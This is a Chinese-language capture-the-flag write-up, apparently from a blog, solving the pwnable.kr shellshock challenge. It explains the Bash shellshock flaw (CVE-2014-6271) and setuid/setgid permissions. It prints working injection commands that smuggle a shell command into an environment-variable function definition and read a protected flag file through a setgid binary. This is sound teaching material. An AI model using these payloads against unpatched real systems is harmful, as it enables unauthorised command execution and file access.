pwnable.kr-shellshock WP

这道题涉及的知识点是shellshock(也叫破壳漏洞)CVE-2014-6271,GNU Bash 版本小于等于4.3可能存在这个漏洞。首先查看一下有什么文件

shellshock0.png

发现目录里有一个可执行文件bash,我们来查看一下bash的版本

shellshock1.png

可以看到这个路径中的bash版本低于4.3,下面来测试一下这两个版本的bash是否存在破壳漏洞

env x='() { :;}; echo shellshocked' bash –c "echo test"

shellshock2.png

可以看到bash不存在破壳漏洞,而./bash存在破壳漏洞,有关破壳漏洞的知识可以参考freebuf的文章和[aletero的博客]。

shellshock3.png

通过上面的两条语句可以说明在初始化环境变量时,将字符串解析成了函数,通过命令可以执行。

将shellshock简单的总结一下就是:当Bash在初始化环境变量时,语法解析器发现小括号和大括号的时候,就认为它是一个函数定义,Bash把函数体解析完了之后,去执行了函数定义后面的语句。

shellshock4.png

既然大括号后面的语句可以得到执行那么尝试一下下面的命令

env casuall='() { :;}; cat flag' ./bash -c "casuall"                   

shellshock5.png

提示没有权限,我们查看一下我们是哪个用户以及文件的权限

shellshock6.png

我们是shellshock用户,而flag只有root用户和shellshock_pwn组才有权限读。

我们看一下shellshock的源码

#include <stdio.h>
int main(){
    setresuid(getegid(), getegid(), getegid());
    setresgid(getegid(), getegid(), getegid());
    system("/home/shellshock/bash -c 'echo shock_me'");
    return 0;
}

shellshock 执行时将 RUID , EUID, SUID(以及RGID , EGID , SGID) 设置成 EGID,该进程就得到了对 flag文件的读权限。

RUID, 用于在系统中标识一个用户是谁,当用户使用用户名和密码成功登录后一个UNIX系统后就唯一确定了他的RUID.

EUID, 用于系统决定用户对系统资源的访问权限,通常情况下等于RUID。

SUID,用于对外权限的开放。跟RUID及EUID是用一个用户绑定不同,它是跟文件而不是跟用户绑定。
SUID的限制与功能:

- SUID权限仅对二进制程序有效;
- 执行者对于该程序需要具有x的可执行权限;
- 本权限仅在执行该程序的过程中有效;
- 执行者将具有该程序的所有者的权限。
与SUID不同的是,SGID可以针对文件或目录来设置,如果是对文件来说,SGID有如下的功能:

- SGID对二进制程序有用;
- 程序执行者对于该程序来说,需具备x的权限;
- 执行者在执行的过程中将会获得该程序用户组的支持。

可以看到shellshock在用户组可执行权限的地方是一个字母s,这表明在执行shellshock时可以获得shellshock所处用户组的权限(也就是shellshock_pwn)的权限,这样就被利用读取flag

我们构造以下命令

env casuall='() { :;}; cat flag' ./shellshock 

shellshock7.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值